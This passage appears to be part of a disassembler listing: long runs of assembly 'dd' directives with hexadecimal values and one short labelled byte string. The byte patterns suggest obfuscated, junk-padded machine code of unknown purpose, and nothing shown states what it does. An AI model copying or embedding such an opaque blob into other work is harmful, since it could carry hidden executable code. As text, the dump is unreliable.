665BBAB4h, 66C31EBEh, 800FF28Bh, 0Ch, 68A0Fh, 8F0F0000h dd 0 dd 889AB2BBh, 0B8C0F53h, 0F000000h, 58Fh, 0A9DABE00h, 8B662D78h dd 10E8FAh, 5FEE0000h, 8691FCECh, 4A9CDC5Dh, 3E442A1Ah dd 66600A4Eh, 612D3EB9h, 56FA8B59h, 9FF754B9h, 8B665853h dd 5BD081FEh, 0B9346DE8h, 4C86EE95h, 3BE88166h, 0DB80F515h dd 0E1B0F59Bh, 0F996D480h, 0D0F181F8h, 8026D8BEh, 0E88AAAD7h dd 0BCD3F381h, 81F8086Bh, 8A1042CFh, 12E87Ch, 0B9B10000h dd 0FC75F730h, 2E55EDC8h, 6E88082Bh, 49BD9E78h, 6850Fh dd 0C6810000h, 4866129Ch, 0F2BF0F5Eh, 0FCFB70Fh, 282h dd 0B6C18B00h, 0B4DE8B86h, 6840F25h, 60000000h, 0FA8AF38Bh dd 0FA8B6661h, 0E9D38B66h, 7, 459CCD2Dh, 52A03940h, 5FF7C180h dd 89EE8166h, 12E8608Fh, 52000000h, 9946EA2Eh, 1B17005Bh dd 2430F0C9h, 92D4B6F8h, 5B6160D6h, 61F98B66h, 0FBE5F52h dd 0F5E814Ah, 484h, 5DBA6600h, 8E99Dh, 0C68F0000h, 8642D75Bh dd 0B70F3448h, 48F0FC6h, 66000000h, 53AAC2BBh, 0BE959h dd 82620000h, 0E6E05ECAh, 98AAD1D1h, 0ADC1BBA9h, 0B70F20B6h dd 0E8B460FBh, 0AF48061h, 0B08DDEBEh, 0FBB70F0Dh, 52C0B70Fh dd 0D82375BAh, 0B9665819h, 850F4047h, 8, 2810Fh, 5B500000h dd 12E9h, 888EE700h, 2D36D024h, 8B1C2C79h, 0D0CB9C6Bh dd 0B6B54477h, 0D88BFCC7h, 8100C480h, 6F924CD0h, 6860F65h dd 0F000000h, 8Fh, 0EECA8100h, 0B33D04E5h, 42C98109h, 0F6E60C6h dd 178Ah, 12E900h, 53D60000h, 0AFF509C0h, 9A2D518Ch, 0CCBF0402h dd 1B6D09E8h, 13E9h, 0E9CADF00h, 0A22A3056h, 4F3A05F6h dd 734561DEh, 99303BE5h, 5FCB866h, 85EB8166h, 0A7BA6608h dd 14E957h, 93BC0000h, 9B6E3DFFh, 0DBA4A084h, 5EBB412h dd 3929B19Dh, 50B5674Fh, 0EE9h, 0D3249900h, 0E105B73Fh dd 0B099EECh, 0E9940911h, 12h, 74FF946Ah, 9A7C204Eh, 0F737F8DBh dd 6B01B372h, 27B654E2h, 0DF5FF381h, 6E856F6h, 0EC000000h dd 0B11F510Eh, 0FE9563Bh, 87000000h, 6249DC98h, 5EDF72ABh dd 0F2CF00E3h, 5F5AEC2Ah, 6E9h, 47BEAE00h, 0F62A8E7h, 389h dd 0FAB70F00h, 2810Fh, 59500000h, 0BB666060h, 0CABB8991h dd 61739E78h, 0B890F61h, 0E9000000h, 6, 0BF9B9739h, 0BF0F9B5Dh dd 6860FD7h, 81000000h, 1740C2D8h, 0C3B86621h, 0F3BBF54Ch dd 814AD9CFh, 5CC37BF0h, 0F88B6621h, 8166F860h, 61269AD2h dd 6060DE8Ah, 7497BE66h, 61D7BF0Fh, 61CEBF0Fh, 6BD4B866h dd 35F3BB66h, 0E8C28B66h, 0Ah, 95D43F3Ah, 0F09F7377h, 0E9535CB6h dd 11h, 493202B0h, 0D81DAD68h, 3BACE58Ah, 2B9FD419h, 665859CBh dd 0F8F374BEh, 0F5D68B66h, 0DEEFE181h, 66606C45h, 0E93EF5B8h dd 5, 879C075Ch, 8166610Ah, 529B57DBh, 0EE8h, 739D3F00h dd 6F7F8CBDh, 2EFAD41Eh, 8BA4D002h, 665E5EF1h, 8101BCB8h dd 0D353CD9h, 0AE9605Fh, 0F7000000h, 11BD3660h, 3054664Bh dd 860F98h, 61000000h, 0DAC68166h, 7CE78110h, 0F40D39Bh dd 683h, 41DE8100h, 0F68D9BCh, 0C8Dh, 8C0F6000h, 0 aFAS db 'f¿Ú´a`é',0Dh,0 db 2 dup(0), 0A8h dd 1924AFDDh, 0A86539EFh, 3C4B1770h, 0F561DE8Bh, 0DA8B6660h dd 0DA77DBBBh, 0CA8B6164h, 10E9h, 33712E00h, 0FC4DFF8h dd 0C35979A0h, 0B1D3F618h, 28F0F07h, 0B7000000h, 8166605Bh dd 520D2BC9h, 8A0Fh, 615A0000h, 0FE9h, 5E545400h, 0EC4D144Ah dd 0E7C998CAh, 565C01CAh, 6E8h, 924AA400h, 0FD8053Ch, 0B859C9B7h dd 645A5920h, 22DB81F9h, 8129FF70h, 285880D6h, 0CE919h dd 0EC80000h, 63DE4155h, 448C5452h, 78BBE728h, 526DBD34h dd 5840Fh, 8CB90000h, 5F190DE3h, 0F669E8B9h, 0B83ABA16h dd 850F5793h, 4, 3F27BA66h, 19C8B966h, 0B5D0B70Fh, 8800F3Eh dd 0F000000h, 28Ch, 53595300h, 5BC0BF0Fh, 5E9h, 7D0C6D00h dd 1BBD9C6h, 0B257DF49h, 0EA81668Eh, 0CF8B5881h, 0CA8EF181h dd 0EE94F31h, 0C000000h, 1DDB45B9h, 0FA1FB4E6h, 0AD456347h dd 816660F8h, 80EF0FDAh, 806109F6h, 816690DAh, 607DD2C0h dd 6661F0B6h, 568DB8BEh, 81665AF8h, 66F74BC8h, 8057C18Bh dd 665BBBD3h, 0AE06C781h, 0FDF08166h, 0E6DF813Fh, 662D265Fh dd 0F392DBAh, 0B653F6BFh, 8B665EB4h, 0DEBF0FD3h, 2870Fh dd 0DA8B0000h, 8AF08B66h, 0C38B66ECh, 0C64BE781h, 0BB502C77h dd 68C0F1CDh, 6660575Fh, 0E802FFB9h, 11h, 2C77480Fh, 0ED3198A2h dd 33BE0284h, 3FDE65BFh, 5E615AE8h, 0A8B0FF9h, 0F000000h dd 48Bh, 7FB96600h, 6870FD8h, 81000000h, 922A11F1h, 7E945h dd 0A0EE0000h, 0D5AED6EEh, 0E8C38A32h, 9, 812D4E2Bh, 922A806Fh dd 5E9DCh, 9790000h, 5F88C04Ch, 66D38B66h, 608144BEh, 28A0Fh dd 0EB8A0000h, 816661FCh, 51537EE1h, 0F8B382BEh, 0E853591Bh dd 0Dh, 41517807h, 7E70D902h, 760A78BAh, 5B61600Fh, 0B5B2FC5Eh dd 4800Fh, 8B570000h, 0D78B5ADAh, 81C6B70Fh, 0F52AD8CBh dd 0E9F08B37h, 0Dh, 0D2DADCF3h, 6CA49333h, 0EAB76E01h dd 55B5F925h, 2AC78166h, 6E85Bh, 2DBB0000h, 14FDF02Ch dd 0E9F78B60h, 9, 1E78EE2Ah, 0BBC734EFh, 8B5A619Bh, 0B6D280F1h dd 66C1B70Fh, 6677ACB9h, 0F516D3B9h, 0E681DAB5h, 76E42B71h dd 10830Fh, 0BE90000h, 70000000h, 6FF1D0F5h, 8F663470h dd 0D3808D63h, 0D2CB8097h, 66D88B66h, 0F9A766B8h, 5A535360h dd 26BE615Fh, 6630F9B9h, 81D0BDBEh, 0F8D47FEBh, 0EE920h dd 0D6C20000h, 9EEFA82Ah, 3F8876Ah, 76DAC823h, 6870Fh dd 0CF810000h, 749357F6h, 13830F60h, 0E8000000h, 0Dh, 4F9F98A0h dd 9EAED16Dh, 0E361D49Bh, 51615F6Dh, 13E960h, 77B90000h dd 0EAA558E7h, 0E55E098Bh, 0EA86C438h, 0F9EC0A6Eh, 616160FEh dd 0B253605Eh, 81665E49h, 6118DFCEh, 0C981DEB0h, 8C4F9C6h dd 0E9F28B66h, 5, 6F0DF8A1h, 66FA8B7Ch, 8B6E18BAh, 8BC18ADAh dd 0ECD80D9h, 0E8CFBF0Fh, 5, 3509004Dh, 0D7BF0FF5h, 0F60605Ah dd 81h, 6161F500h, 0BB6618B6h, 7E888ECh, 6A000000h, 71941453h dd 0CF8B70B9h, 46B5605Bh, 816164B5h, 7DCE42C0h, 0B70F566Ah dd 0F575FF0h, 0E95FDEBFh, 12h, 0CFC3368Eh, 650019FFh, 196865F9h dd 0A3EE8EBh, 0BF0F915Ch, 11E960C3h, 0BF000000h, 37CE5484h dd 41430F7Dh, 0EF7BC23Ch, 0AF010F0Bh, 0B8088CBAh, 0B70F610Ah dd 0D8C0FDEh, 0E9000000h, 8, 626023DBh, 0C065E11Ch, 60C2B70Fh dd 28C0Fh, 61600000h, 5649B966h, 0C8D0F61h, 0F000000h dd 685h, 800F00h, 50000000h, 513FBBh, 7FB85815h, 8124547Eh dd 1B6FD4D6h, 0CB8B666Bh, 8A0F5B50h, 5, 0CAEE8166h, 0D08051EEh dd 13E959BFh, 0D5000000h, 478CA502h, 2FAE5055h, 0D73EFF7Eh dd 0D3ED066Fh, 0EE81EA56h, 7CC88A3Ah, 81DF8B66h, 0A499D1EFh dd 13E84Bh, 77420000h, 143C73C6h, 0D799CAEFh, 68F8D660h dd 92ADE732h, 0CE815h, 18B80000h, 0BD797CD5h, 9C1CCFCAh dd 6E9B18Ah, 8E000000h, 3604A62h, 0F5F598Bh, 5E9D1BFh dd 83000000h, 0AFB4B618h, 7C78BB66h, 0E8B966F9h, 0F12B4E1h dd 281h, 0FC28B00h, 180h, 0BF0FFC00h, 8CE380FFh, 665DE080h dd 0D380CB8Bh, 0D8BB661Bh, 0FD9B27Ah, 66F5C8BFh, 820FD88Bh dd 5, 72B911BFh, 66F9F950h, 0E98F66BEh, 9, 0F2E02A5Eh dd 6AA08A25h, 56BE6629h, 0EF781D7h, 662BDB74h, 0E711EA81h dd 6656F88Bh, 0E95EC78Bh, 14h, 0C8E72702h, 0EC866EEEh dd 5B1ECCB5h, 0F5EA27CFh, 73F1EC42h, 8063D980h, 0FF817D1h dd 381h, 0FA8B6600h, 7D68166h, 0B70F50F3h, 0C28059CAh dd 0B25E567Ch, 0FBBF665Eh, 6E8DFh, 0FFA10000h, 4984E23Bh dd 5FC68B66h, 1545CBFh, 8B66532Eh, 66605FCEh, 602D76BEh dd 6E8D98Ah, 3B000000h, 7B1918ECh, 61615E9Ch, 8E860h, 0A9D40000h dd 0B357B0D7h, 26BA2F54h, 5B267928h, 0B5C4B966h, 8A0F61h dd 81000000h, 0F7DFFDD7h, 0AE90Fh, 90760000h, 0A75A28A1h dd 88602FCh, 9205E5BFh, 0F08B661Ah, 81FB8B66h, 39C9F9E3h dd 0EE941h, 0F93E0000h, 79289608h, 5AB87991h, 7FAD8297h dd 7E8F38Bh, 0E4000000h, 0F8B25D74h, 0F28B2F84h, 0BAC7805Fh dd 0E4D3DA81h, 81667FD3h, 0F74D9E1h, 386h, 0D18B6600h dd 0C63E681h, 0C28143F3h, 7F975F89h, 459360B9h, 0A7CF8177h dd 604B321Ah, 39BE6660h, 0F56061A2h, 66506161h, 7E73D181h dd 9EB86658h, 87D0B98Dh, 0AE876AAh, 8000000h, 0BA764FC2h dd 0CD444F80h, 0FE8B664Dh, 0F2BF0F58h, 0FE9h, 14E7700h dd 0F745EDF8h, 2994AC70h, 5BED1E46h, 3AEC8060h, 0CE861h dd 0D6790000h, 2DBC6117h, 24612F97h, 5EFC92DBh, 89CC80FCh dd 0DE1EBA66h, 0E98166F9h, 0C3812812h, 752A75Bh, 0FCE8B66h dd 386h, 0F2B70F00h, 0F9DABF0Fh, 0EE8h, 0D0127F00h, 283044D4h dd 0EF2559C3h, 596E5095h, 0FE9h, 9EF21B00h, 58C49AB7h dd 0D3088C58h, 0F6DFDAC3h, 0BE9h, 615BA800h, 0BBF2A698h dd 400D5BC4h, 5E8h, 3C0BCE00h, 0B70FF7CCh, 0E8605BD6h dd 10h, 0DAEDEF2h, 0FD374E55h, 22AC3641h, 0B1337849h, 0B13EB866h dd 830F525Ah, 0 dd 810F615Eh, 6, 7B59F781h, 0CB815840h, 68C21EDDh, 66F78B66h dd 8166C38Bh, 0BA6FCAD2h, 7DC9777Fh, 13E861B2h, 82000000h dd 0EB187EDEh, 0B9696939h, 0CE9B2838h, 107EA68Ch, 0D080BCB6h dd 0E9565E11h, 5, 90E3458h, 0B8665F1Bh, 0FC51E8CFh, 0FAB70F58h dd 0DC74C681h, 6E92AC1h, 0CC000000h, 62FAA03Ah, 0DE8B66BEh dd 0E7816660h, 61FC3B57h, 81666051h, 6629D9E1h, 6175CEB8h dd 0CF816659h, 8B66F1B5h, 8044B6CAh, 8F0F7DC2h, 5, 4AB234BAh dd 850F531Eh, 13h, 0DE8h, 2926800h, 0FBE5334Ch, 8858548Eh dd 585FD65Eh, 0EE8h, 22874400h, 0EF47EA2h, 2B4F4DC9h, 0F504BDBh dd 1680h, 10E800h, 0F37E0000h, 0C7F7F2AAh, 1EF0B7C4h, 0DE112697h dd 5A5FDF33h, 5E69D5BBh, 38A0F5Ah, 66000000h, 0B966F78Bh dd 0DE9CD42h, 0C1000000h, 576DCDE4h, 7DC1D3C6h, 6FD55D29h dd 0A2AFB966h, 0DE8FCh, 0C22B0000h, 6F9EDAE0h, 5069DE47h dd 81119A92h, 0B8F5CCD2h, 0E8F55A3Fh, 8, 0D5B97C95h, 0FF861363h dd 3DE48058h, 0E1D38166h, 0D2BF0F45h, 12870F60h, 0E9000000h dd 0Dh, 0A68A7B7Fh, 8C24F49Ch, 4EB7E234h, 61605241h, 9E9615Eh dd 2000000h, 65BF33BEh, 2E83FDEh, 5AF08B57h, 8E9h, 0ECE5CA00h dd 51870922h, 13E9D6h, 8EFE0000h, 80D0BEA1h, 0A4EBB585h dd 2CE98044h, 1F2E012Ch, 0B7BA66B4h, 1D8C0FE1h, 0F000000h dd 178Fh, 12E900h, 27E90000h, 2FCA9DD4h, 0E1800C9Ah, 0D2C97D21h dd 0DB460C40h, 9E9h, 4F86E300h, 0A2E91E6Ah, 8B66E333h dd 0E8F78BD6h, 11h, 5DE26A0Bh, 6EB1C880h, 7E800327h, 9443B44Ah dd 10E996h, 0F0840000h, 0C66232A5h, 0E4DC4570h, 0F0166E3Eh dd 0E95F52A7h, 11h, 8EBD55D2h, 0F08318A6h, 0EED8B1AAh dd 0EAE3A87Eh, 0F6B70F39h, 66CB8B66h, 0BA60CB8Bh, 4B873E5h dd 0BA4192BEh, 84BF613Fh, 8B5C9760h, 13E9D7h, 49F60000h dd 0D238F3F4h, 2262F659h, 1D979B6Fh, 344BAFCAh, 0DE9D3h dd 0CF460000h, 0CEBCACD8h, 0B1141E2Fh, 815EE902h, 831B01D2h dd 0CF8B602Ah, 5E8h, 0A0A5400h, 0FE8BC360h, 8060615Ah dd 5E992E2h, 4A000000h, 4C91E2D6h, 2BBF5061h, 5A1DFAFBh dd 0FF9BF0Fh, 0EF81D2B7h, 79456DC1h, 0EF58D781h, 12E81E72h dd 0C5000000h, 61AFC009h, 84FA0AA4h, 5927D4A1h, 83A3B6F1h dd 890F5B0Dh, 14h, 0CE8h, 6AAD0F00h, 10238B74h, 0E3146025h dd 58616036h, 0F32CB866h, 5FCB8A53h, 749FF681h, 0FE8B3D6Ah dd 3E8DE781h, 830F2DA1h, 3, 66DEB70Fh, 0F8856EBEh, 12E8h dd 555A4600h, 805A23F5h, 0DAA6F02Fh, 0EAD92CE4h, 0F27F937h dd 38Bh, 10DB8000h, 0E1BE665Bh, 0D28166A8h, 6660D5E2h dd 66CB5BBFh, 0F8BED181h, 9E961h, 0C8450000h, 35F56F5Ch dd 8A25D009h, 0F8D18BEAh, 9E8h, 1955600h, 566A37F5h, 8B66CC73h dd 81665ECBh, 8B6021D8h, 3840FC6h, 66000000h, 0FE8BC88Bh dd 6E9h, 0EDB29000h, 80051AC7h, 0BEFC13F6h, 7DF3AA23h dd 0AE9D68Bh, 58000000h, 96C05AE3h, 50DE9CB0h, 0B54EBEB1h dd 8E0F1753h, 5, 27C68166h, 0E081667Eh, 8B66A5C3h, 0C7BF0FD6h dd 71CE8166h, 6678B278h, 0C743EB81h, 0DE9h, 0D1BD7600h dd 0A51C861Eh, 0F72625A6h, 11BFE91Bh, 662CEFE5h, 0BF0A52BFh dd 55FC4E06h, 0EE8h, 0DABE4B00h, 5E86400Ch, 5400A244h dd 5812D6BAh, 9E9h, 45EF5500h, 0BD6BCAF1h, 8D0FB474h, 5 dd 0ED8D34B9h, 0E9F08B51h, 0Dh, 5866F78Bh, 0B9E9375Ah dd 7BF01AB8h, 66C38B25h, 601A9FBEh, 0FD08B66h, 28Fh, 61D78B00h dd 11E9h, 14FDF000h, 24FEF42Eh, 0C39AD4FEh, 0EE29ACD3h dd 0DE832FDh, 7A000000h, 21AD642Bh, 84456851h, 8795A41Ah dd 5EACE280h, 13E9h, 0CE886800h, 0FBB9BA3h, 45665A31h dd 0E01170B2h, 10998D13h, 830Fh, 4DBA0000h, 0E94C55F1h dd 14h, 439751B6h, 0B3A32609h, 870BE740h, 539E3633h, 0E816AC8h dd 80D78B66h, 8060DCF5h, 0BF668FC8h, 6061C64Eh, 8E0F60h dd 0F000000h, 8Fh, 30BA6100h, 616E8316h, 8E0FF9h, 8B000000h dd 13E8C1h, 0D4880000h, 0DD96673Ch, 62AE2D7Dh, 0B8B7FC2Ah dd 84916AF8h, 6E78BAB6h, 0E95954DBh, 12h, 267F0D88h, 35F915C9h dd 1384DC65h, 886214D1h, 0F51B5E8h, 289h, 5A6BB000h, 7F0986B9h dd 0FD78B5Eh, 198Fh, 14E900h, 0AAA80000h, 0A81148D9h, 0C73BC27Ch dd 31E0BF48h, 7013F5C5h, 8C0F7A68h, 3, 8BFEC880h, 10E9F8DFh dd 4B000000h, 0A01B9070h, 0B3EB1A15h, 0CEF88C28h, 0B5FFF853h dd 0C38B6618h, 0FC7BF0Fh, 8B66CEBFh, 0D9D680FEh, 86A5FEB8h dd 0CE8F80Bh, 94000000h, 0E14A8DAAh, 0FB3F67CBh, 0E952E578h dd 0Fh, 71046CF9h, 0C7D70689h, 0F2D38964h, 5E426D66h, 13E8h dd 921CC500h, 409E25CEh, 0F3D9D7D8h, 5575968Fh, 0CF825986h dd 0CE816652h, 5E5FE0BCh, 0EE9h, 90AA1900h, 0CBCCF0F5h dd 0C33025A0h, 6618F061h, 0F9B728BEh, 6E8h, 0CB2C0E00h dd 0E9F951C0h, 11h, 0EA74CD6h, 6BADF61Ah, 7758F96Eh, 0F56DEBBCh dd 62B35E2Bh, 0E870Fh, 6E80000h, 6A000000h, 4515AD50h dd 5AFA8B6Fh, 0FD08B66h, 287h, 0FFA8B00h, 178Ch, 12E900h dd 7FBF0000h, 0CB1F4BF8h, 318F2495h, 301D95DAh, 6D24036Bh dd 3800Fh, 8B660000h, 13E8F9CBh, 0E1000000h, 0D518B8D7h dd 0CABD797Ch, 8A9C1CCFh, 0DD22B8B1h, 56601591h, 61616058h dd 0DFBF0F5Ah, 8840Fh, 8D0F0000h, 2, 12E96160h, 61000000h dd 0CC6B65Ah, 378A720Ch, 93EB3A99h, 0DDD2343Ch, 8E801h dd 0DE8A0000h, 7E18BB76h, 0E881C892h, 36E292DFh, 25E8815Bh dd 8127460Bh, 0C988A3CFh, 11850F61h, 0E9000000h, 0Ch, 934341A0h dd 0D7ADAAB4h, 902C4DD4h, 14E9h, 3F7E6F00h, 300156C8h dd 6B78D1AFh, 0BB66A88Bh, 7B23A428h, 0EBBA66AEh, 38F0F43h dd 0F000000h, 0F51C1BFh, 1483h, 0EE800h, 43070000h, 0AAA102B9h dd 0D4E81108h, 4B693B5Ch, 0C3815B58h, 22731EA3h, 18E0Fh dd 66F80000h, 0C129F081h, 0F5C28B66h, 3850Fh, 0B70F0000h dd 28C0FD0h, 8B000000h, 0FE8B66C1h, 1850F60h, 0FC000000h dd 0D171D181h, 66616107h, 0E99DB2B8h, 12h, 781AB004h, 0A2E360EAh dd 0C5BCB975h, 87833D92h, 0C78BE0FBh, 754AB866h, 6659F553h dd 6D82F381h, 6E8F58Ah, 1D000000h, 0A940D5C4h, 61F8604Bh dd 0DE96058h, 0CF000000h, 0E7F1D87Ah, 0F9234222h, 0ABB545BBh dd 0C886E9B9h, 0EC806175h, 4D9AB8C2h, 0C38119E1h, 28FEA130h dd 158D0Fh, 10E90000h, 8A000000h, 0A202C086h, 0A9F9D11Eh dd 0F3A3E6C2h, 0F977A139h, 8E9h, 0A2CD8300h, 8087022Fh dd 2850FD2h, 8B000000h, 13E8C2h, 6F560000h, 2B16EBCFh dd 0D1AB17D0h, 9D3384FCh, 0DB48D3DFh, 0BFDC80B6h, 0C820F5Bh dd 60000000h, 69CF8166h, 64D6BBDAh, 0B8615F1Eh, 38886B92h dd 5E9h, 2FB1EB00h, 0BF66CE5Bh, 8C0F6319h, 5, 0CBCA8166h dd 9E901h, 45650000h, 93EE47BFh, 66AEC7B1h, 7978F081h dd 0BE9h dd 1E419500h, 8B205336h, 83A2994Fh, 19413DBFh, 13E85Ch dd 8680000h, 0BEDF923Fh, 0A7B98E06h, 13933055h, 89F774F6h dd 81665B5Ch, 0BE85E2F7h, 7ACA3CCBh, 197526BEh, 0A860F33h dd 0F000000h, 485h, 1B96600h, 0C28B6612h, 49AB50B9h, 0CEBF0F75h dd 0FCA8B66h, 488h, 7AB96600h, 0E8B966DFh, 0D18B6665h dd 0FED98166h, 0CAB70F5Bh, 0E4E680FCh, 5AF28166h, 0F8C18BD7h dd 0E8FBB70Fh, 12h, 0FFB9F68Eh, 0F1FBA6C3h, 3D0AF920h dd 0E49373CBh, 8B66BD47h, 0B70F5FF8h, 108C0FF6h, 0E8000000h dd 7, 0BA2A78DAh, 0FD34B4Ch, 8B59C2B7h, 7FB966D8h, 0B2F8F994h dd 0E9F960BBh, 0Ch, 92C664AEh, 1F1D8AE0h, 9CA73AADh, 54D68161h dd 665BB78Fh, 8166F08Bh, 0FD7CEC0h, 5E9F1B7h, 4C000000h dd 0BED4F249h, 5870Fh, 81660000h, 8B2279EBh, 0EAD680D7h dd 6660DA8Bh, 6661FA8Bh, 800FC28Bh, 0Ch, 68C0Fh, 840F0000h dd 0 dd 9E960h, 0E3C20000h, 0F5D5C3C4h, 661008A3h, 61CDCBBFh dd 81F2B70Fh, 8941CAD9h, 3830F3Ch, 80000000h, 0E9507EF3h dd 0Fh, 2358D5CCh, 0AD0A090Fh, 90879237h, 5FFF9A68h, 0F38B66F8h dd 7BCE8166h, 665A5381h, 6B47C181h, 0C38B66FCh, 0EE8h dd 0D4F6B300h, 36B4CF52h, 0E23D2B99h, 667AB626h, 0E95BFE8Bh dd 0Dh, 275D73BDh, 987F9F48h, 7B2D3864h, 0BF66FC40h, 0E781C15Fh dd 18289580h, 805BF953h, 9BB90DE9h, 6019BF98h, 6661F5FCh dd 0F438BBBh, 18Dh, 0BF51F800h, 0C6F2AA4h, 6E959h, 0A030000h dd 0F0ECB36Fh, 0D08A85B5h, 0FC6C080h, 6052F2B7h, 0F5861FCh dd 887h, 0BE666000h, 0F48A93C6h, 16D88061h, 0C831B966h dd 5A57C88Bh, 10E9h, 285F4A00h, 18DB7AF8h, 4A75DD9Eh, 8985BCF9h dd 0C8D0FD2h, 0F000000h, 68Ah, 12CF8100h, 667712FEh, 0EE9F38Bh dd 9E000000h, 0A80EE55Ch, 0EFA7E3D3h, 68122787h, 66B8660Ch dd 2E8D0F6Bh, 60000000h, 0CE8h, 0C1EF9100h, 8274A3C1h dd 30BE011Ch, 14E85A42h, 0F9000000h, 0C5F8A91Fh, 0E431D1C6h dd 3E41353Dh, 706DBC21h, 58F4E522h, 0EF56BE61h, 12E91576h dd 0E8000000h, 0AAE95620h, 0FF9CDF80h, 0DED8818Ch, 0FC246434h dd 0E7CC80E9h, 57D9BF0Fh, 93252BFh, 8D0F592Eh, 0 dd 6E8h, 6FA8AA00h, 0BBE8CDA1h, 73E51B01h, 64DD8059h, 6BBBD88Bh dd 0F466787h, 1B8Eh, 0FE800h, 36DF0000h, 2CA5E262h, 506571A8h dd 3180BCDEh, 820FE5h, 5A000000h, 0FE9CA8Bh, 4F000000h dd 0CFC41F7Eh, 49D7C8F6h, 2861CB1Bh, 12E9001Ah, 0DC000000h dd 0A330454Ch, 96F80455h, 6D1FDDD8h, 4DFF63A1h, 8E8B5h dd 9DF40000h, 0EB37FCAAh, 21B8E5DEh, 5B52AF40h, 0B2CE8B66h dd 0E800B71Bh, 8, 94B9DD3Ah, 252D904h, 3840Fh, 0DF800000h dd 0BEF85A7Ch, 1EB1239Eh, 12E9h, 0E2A9D900h, 23DE819Ah dd 622899B5h, 47EBAED4h, 0E985D34Ah, 0Fh, 39266FF7h, 56168C9Eh dd 93A20957h, 8AECE685h, 9E860CAh, 0AD000000h, 7C6623A1h dd 0D7640560h, 0B35F6160h, 75BF61E5h, 0F2D96C9h, 178Eh dd 0EE800h, 0EE230000h, 0A5C65157h, 7FD5ED48h, 0E5A1573Eh dd 5FC9BF0Fh, 5870Fh, 81660000h, 608968C8h, 0F61DE8Bh dd 18Eh, 6652F900h, 0E85FD38Bh, 13h, 0E8E4661Bh, 0E76D5D31h dd 0EFB854AEh, 781EABEEh, 5845C7AEh, 5880Fh, 5EBE0000h dd 0E97D0B2Bh, 0Dh, 37A974C0h, 43DFCD6Eh, 206AD111h, 0CE978h dd 5C840000h, 5BBD10CBh, 0A984524h, 830F3A96h, 1Dh, 12E8h dd 1143DF00h, 78206AD1h, 2604CB50h, 61DAE570h, 665E6169h dd 0D0C5D381h, 8F0F5Bh, 0E9000000h, 6, 903FE0Dh, 0E98178E6h dd 12C45EB2h, 0CFBF0FFCh, 5860Fh, 81660000h, 0E93D08D3h dd 9, 3CDA0E67h, 0C46E3C8Dh, 0EE8166ECh, 0BF662723h, 880F1F51h dd 0Eh, 8B0F60h, 0F000000h, 8Ah, 81666100h, 0F1B52C6h dd 285h, 0FF98A00h, 8166F8B7h, 60101BD2h, 41F2B866h, 6158F580h dd 0AE8h, 0A476D100h, 2088AA21h, 0FAE8CB6h, 283h, 5F5F5000h dd 5870F60h, 0B9000000h, 9DB19D6h, 9E960h, 0E8B60000h dd 3CEA843h, 0BEA0D7D9h, 252FD9B6h, 0F516161h, 283h, 58616000h dd 12E9h, 822B5800h, 7CF68B79h, 31EC410h, 9E3C1DE9h, 0B51324D9h dd 0EE990h, 39E50000h, 0D9374A93h, 3F19D413h, 8C0FE0BDh dd 0CE8h, 4341A000h, 0ADAAB493h, 2C4DD4D7h, 37EF8090h dd 0DE959h, 0A020000h, 0D2AD27E8h, 7E00AC7Ch, 0E93B42CAh dd 13h, 60199FD2h, 621142F8h, 0E304F663h, 1A48BC66h, 0BF1E4820h dd 1045E1EBh, 0AE9h, 14C45600h, 5FF9BF17h, 53BE9F01h, 0FC5AD68Bh dd 0B0C38B66h, 3DD681CEh, 0F08BFEAh, 0E81h, 0C9816000h dd 48964190h, 850Fh, 66610000h, 8257EB81h, 5830Fh, 0EBB90000h dd 6021EC3Eh, 9427B953h, 0B45A4BC0h, 0DE8619Dh, 64000000h dd 407B2D38h, 0A6545CDFh, 0EFC6AB36h, 6E8h, 806500h, 0BBA63082h dd 6BA82DB3h, 66605959h, 0E8C934BEh, 13h, 87D3AC9Dh, 722CE70Bh dd 4FAD12EAh, 0EDD77C8Bh, 583D931Ah, 0F280F861h, 1890F01h dd 0F9000000h, 0FCCE8BF5h, 11888DB8h, 58C98163h, 0E9384126h dd 0Bh, 0ECD303E8h, 70CA5410h, 66376319h, 1DACEB81h, 0E9F7B70Fh dd 12h, 0A5E459D0h, 31A16BFEh, 34B337D4h, 868B697Bh, 0F566B27h dd 0F5AF3BFh, 800FF7BFh, 7, 66595760h, 8161C78Bh, 0BE25CFDBh dd 5E965h, 75A30000h, 0FE67330h, 287h, 0B8DE8B00h, 6151CEFFh dd 0D04DB866h, 0C5D7EF81h, 816630DFh, 8B0A68D1h, 3820FF0h dd 50000000h, 800F5AF5h, 15h, 10E9h, 2AEE6C00h, 8881DCD0h dd 856AA4C1h, 0C4C50617h, 0DE9BDh, 59C30000h, 5095EF25h dd 7789906Eh, 0F2ECDB7h, 0C8Ch, 7E900h, 98490000h, 5746E0FEh dd 58D0F79h, 66000000h, 7515D281h, 0FF08B66h, 820FF8B7h dd 12h, 9E8h, 2B8B5C00h, 0DFEB86F7h, 0B70FC8D1h, 10E95BFBh dd 0CC000000h, 0E20E3F14h, 9D1F4D19h, 56116E93h, 81F01068h dd 89C58AC6h, 0BF0F600Fh, 0FE9C7h, 0C6AC0000h, 5D3937AAh dd 714B465h, 0C0B12204h, 516061C7h, 9DC78166h, 81615BC3h dd 66EC1EC2h, 66C78049h, 66C18B66h, 0ECD1CE81h, 12E9h dd 13C43300h, 0D293C111h, 0E00DFBD2h, 0F622137Fh, 81C66B85h dd 99AA4DEEh, 0C7E4BE17h, 66577A72h, 0FC25C981h, 89C2815Ah dd 0F17816Ah, 0A84h, 0EA806000h, 0D981661Dh, 0F561C2B5h dd 0CDC88166h, 0EE837h, 0E9910000h, 0DED5A203h, 1F4CAE2Fh dd 0BFBDCCC2h, 0E95FD18Bh, 10h, 0A79A334h, 3C799DBDh, 7FC5035Ah dd 1C07DCAEh, 8B66F08Bh, 9E957CEh, 0B0000000h, 0EE15CC3Ah dd 4EF26B31h, 76F58058h, 5E9h, 0E7BA6700h, 0C18B5FA5h dd 14E8h, 48972000h, 55C73EEFh, 5D7291D0h, 0F0BBCE90h dd 42BD41D2h, 0CE8E4h, 0F1070000h, 0A6531C94h, 2551D40Bh dd 0DE8ACE57h, 0CE95B58h, 2000000h, 0D99F92FFh, 35D583ABh dd 802C8FE9h, 0E960DDD8h, 5, 5B1A1EBh, 0E3ABB3Bh, 8B614455h dd 0CAB70FFAh, 14E9h, 0E041BF00h, 370505A3h, 0FCE9707Ah dd 49E01FCh, 8B5578CBh, 0F38B6662h, 56D0BF0Fh, 5AC88B66h dd 0D45401BEh, 14B8662Eh, 51C181F7h, 8042836Fh, 0F48A5DDDh dd 9E8h, 6BF19400h, 7D04F832h, 0FE8300Eh, 90000000h, 